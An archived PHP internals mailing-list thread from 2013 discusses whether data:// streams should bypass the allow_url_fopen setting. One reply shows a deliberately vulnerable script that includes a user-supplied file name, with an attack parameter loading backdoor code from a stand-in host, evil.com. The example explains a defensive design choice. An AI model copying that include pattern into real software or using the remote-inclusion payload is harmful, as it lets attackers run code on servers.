# data stream restricted by allow_url_fopen (Bug #47336)

- Thread: https://externals.io/message/66579
- Original archive: https://news-web.php.net/php.internals/66579
- Started by Christian Stoller on 2013-03-11T09:50:00+00:00
- Messages: 5
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## #66579 — Christian Stoller — 2013-03-11T09:50:00+00:00

URL: https://externals.io/message/66579#66579

Dear PHP developers,

I have run into a bug, which is open since 2009. It would be nice if you could look at https://bugs.php.net/bug.php?id=47336
It has been marked as “documentation problem”. But in my opinion the implementation should follow the documentation and allow fopen “data://” streams even if “allow_url_fopen” is set to “false”. Because it is not like opening a maybe manipulated URL.

It would be really nice if this bug could be fixed, soon.

Thanks in advance.

Christian Stoller

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## #66580 — Stas Malyshev — 2013-03-11T10:26:23+00:00

URL: https://externals.io/message/66579#66580 · In reply to: #66579

Hi!

> I have run into a bug, which is open since 2009. It would be nice if
> you could look at https://bugs.php.net/bug.php?id=47336 It has been
> marked as “documentation problem”. But in my opinion the
> implementation should follow the documentation and allow fopen
> “data://” streams even if “allow_url_fopen” is set to “false”.
> Because it is not like opening a maybe manipulated URL.
> 
> It would be really nice if this bug could be fixed, soon.

I'm afraid it is not a good idea. allow_url_fopen is meant to protect
file functions (fopen and friends) from being injected with
user-controlled data - i.e. if you control the filesystem and you do
 `fopen()` under allow_url_fopen then it is reasonable to assume the data
under that filename is under your control. However, data:// URLs clearly
violate this assumption no less than http:// URLs do - data: just does
it without even requiring a web server.
-- 
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

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## #66582 — Christian Stoller — 2013-03-11T11:36:24+00:00

URL: https://externals.io/message/66579#66582 · In reply to: #66580

Hi Stas.

> I'm afraid it is not a good idea. allow_url_fopen is meant to protect
> file functions (fopen and friends) from being injected with
> user-controlled data - i.e. if you control the filesystem and you do
> `fopen()` under allow_url_fopen then it is reasonable to assume the data
> under that filename is under your control. However, data:// URLs clearly
> violate this assumption no less than http:// URLs do - data: just does
> it without even requiring a web server.

I am unsure whether I understand you. As far as I know with the data:// stream PHP does not access any file on the filesystem. It's just for transforming normal content in a variable to a resource, or not? So I do not see any risk. Maybe you can give me an example.

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## #66585 — keisial@gmail.com — 2013-03-11T12:29:31+00:00

URL: https://externals.io/message/66579#66585 · In reply to: #66582

> Hi Stas.
> > […]
> I am unsure whether I understand you. As far as I know with the data:// stream PHP does not access any file on the filesystem. It's just for transforming normal content in a variable to a resource, or not? So I do not see any risk. Maybe you can give me an example.
Suppose you had the silly script:

<?php
$file = $_GET['file'];
include $file . ".php";

As there's no check at all to $file, an attacker could pass in the url
&file=http://evil.com/backdoor-code and php would happily run the php
code located at http://evil.com/backdoor-code.php

If include of data urls is enabled, the attacker could do the same with
&file=

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## #66587 — Christian Stoller — 2013-03-11T14:02:31+00:00

URL: https://externals.io/message/66579#66587 · In reply to: #66585

> If include of data urls is enabled, the attacker could do the same with
> &file=

Okay, I got it ;-)
So it would be nice if someone could update the documentation and set the bug to "resolved"

Thanks for your help.
